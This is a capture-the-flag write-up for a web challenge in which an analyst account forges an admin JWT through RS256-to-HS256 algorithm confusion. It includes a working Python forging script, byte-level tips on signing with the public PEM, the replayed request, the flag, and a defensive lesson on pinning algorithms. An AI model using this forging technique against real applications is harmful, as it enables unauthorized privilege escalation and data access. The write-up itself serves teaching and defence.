LedgerLoop Treasury

WEB CF26 EASY  ·  2026-09-29  ·  JWT algorithm confusion (RS256 → HS256)
CF26{k3y_c0nfus10n_hs256_f0rg3ry_v5b0h1w53cc98bf2}

LedgerLoop runs an internal treasury console: finance staff review account balances, ledgers and monthly statements. We are handed a regular analyst login and one goal — read the Q2 reconciliation report, which is fenced off to treasury administrators.

Everything about the app is ordinary Node/Express: a login form, a session cookie, pages gated by a role. The interesting part is how that role is proven — and how the console hands you everything you need to lie about it.

Table of Contents

  1. Reconnaissance
  2. The Session Is a Signed Promise
  3. The Tell: a Published Verification Key
  4. The Vulnerability: RS256 → HS256
  5. Forging the Admin Token
  6. Sign-off
  7. Pitfalls
  8. Key Lessons

1 Reconnaissance

Target is a Node/Express app (X-Powered-By: Express) that redirects to /login. Logging in as the analyst d.okafor and walking the console:

PathDescriptionInteresting?
/loginform → sets ll_session cookie
/reportslists reports the analyst may see
/reports/q2-reconciliationrestricted reportthe target — 403 for analyst
/integrationspartner JWT documentationlinks the verification key
/.well-known/ledgerloop-key.pemRSA public keythe "secret"
The restricted report, as an analyst:
GET /reports/q2-reconciliation      (cookie: role=analyst)
→ 403 "restricted to treasury administrators"

2 The Session Is a Signed Promise

Login sets an HttpOnly cookie that is a JSON Web Token. Decoded, the analyst's token says exactly what you would expect:

{
  "sub":  "d.okafor",
  "name": "Dana Okafor",
  "role": "analyst",
  "aud":  "ledgerloop-console",
  "iss":  "ledgerloop",
  "iat": 1759142400, "exp": 1759171200
}

The header declares "alg":"RS256" with "kid":"ll-console-2026". RS256 is asymmetric: the server signs with a private key and verifies with the public one. A cookie the client can read but not forge — as designed. The restricted route just checks the token's role.

3 The Tell: a Published Verification Key

The console's /integrations page documents the JWT setup for partner systems and, helpfully, links the key material anyone can fetch:

Publishing a public key is normal — that is what public keys are for. The sample partner snippet even verifies correctly, pinning algorithms: ['RS256']. But that pin is only in the example. The real server calls its JWT library with no algorithm list at all, and that single omission is the whole challenge.

How do we know the server doesn't pin the algorithm? No server source was shipped — it's inferred from behaviour. Two observations pin it down: the /integrations docs show the correct call pinning algorithms:['RS256'] (so that's the intended design), and empirically alg:none is rejected (302 → login) while an HS256 token signed with the public PEM is accepted (200). A verifier pinned to RS256 would reject an HS256 token outright — the only way the forgery verifies is if the real verify() call omitted the algorithms allow-list, so the library honoured the attacker's alg header and used the public-key bytes as an HMAC secret. The “no algorithm list” conclusion is the attack succeeding.

4 The Vulnerability: RS256 → HS256

Libraries like jsonwebtoken pick the verification routine from the token's own alg header when the caller does not constrain it. Feed the same verifier an HS256 token and it switches to HMAC — using the key bytes you gave it as the shared secret. Those key bytes are the RSA public key. And the public key is, by definition, public.

intended: RS256, signed with the private key → verifier does not pin alg → attacker: HS256 HMAC'd with the public PEM
Key insight Asymmetric verification collapses to symmetric the moment the verifier lets the token choose the algorithm. The attacker and the server now share a "secret" that was printed on the front door.

5 Forging the Admin Token

Mint an HS256 token whose payload flips role to admin, and sign it with HMAC-SHA256(publicKeyPEM, header + "." + payload):

import base64, json, hmac, hashlib, time
b64  = lambda b: base64.urlsafe_b64encode(b if isinstance(b,bytes) else b.encode()).rstrip(b'=')
b64j = lambda o: b64(json.dumps(o, separators=(',',':')))

pem  = open('ledgerloop-key.pem', 'rb').read()   # served WITH a trailing newline
now  = int(time.time())
h = b64j({"alg":"HS256", "typ":"JWT", "kid":"ll-console-2026"})
p = b64j({"sub":"d.okafor", "name":"Dana Okafor", "role":"admin",
          "iat":now, "exp":now+28800,
          "aud":"ledgerloop-console", "iss":"ledgerloop"})
sig = b64(hmac.new(pem, h+b'.'+p, hashlib.sha256).digest())
print((h+b'.'+p+b'.'+sig).decode())

Two details that decide it

Exact key bytes. The winning secret was the PEM exactly as served, trailing newline included (451 bytes). Stripped (450) or double-newlined (452) both fail the signature. Always brute the byte-level variants: pem, pem.strip(), pem+b"\n".
The exact role string. alg:none was rejected outright. Among valid HS256 forgeries, only role:"admin" passed — treasury_admin and administrator returned 403 even with a good signature. The gate is a literal role === 'admin'.

6 Sign-off

Replay the forged cookie against the restricted route:

GET /reports/q2-reconciliation
Cookie: ll_session=eyJhbGciOiJIUzI1Ni...   // forged, role=admin
→ 200 — report renders, flag in the "Reconciliation sign-off token"
CF26{k3y_c0nfus10n_hs256_f0rg3ry_v5b0h1w53cc98bf2}

7 Pitfalls

8 Key Lessons

Always pin algorithms on verify. Pass an explicit allow-list (algorithms: ['RS256']). An unconstrained verifier will happily switch to whatever algorithm the attacker's token asks for — and an exposed public key becomes an HMAC secret.

Tools: curl, python (JWT forge), base64 / hmac.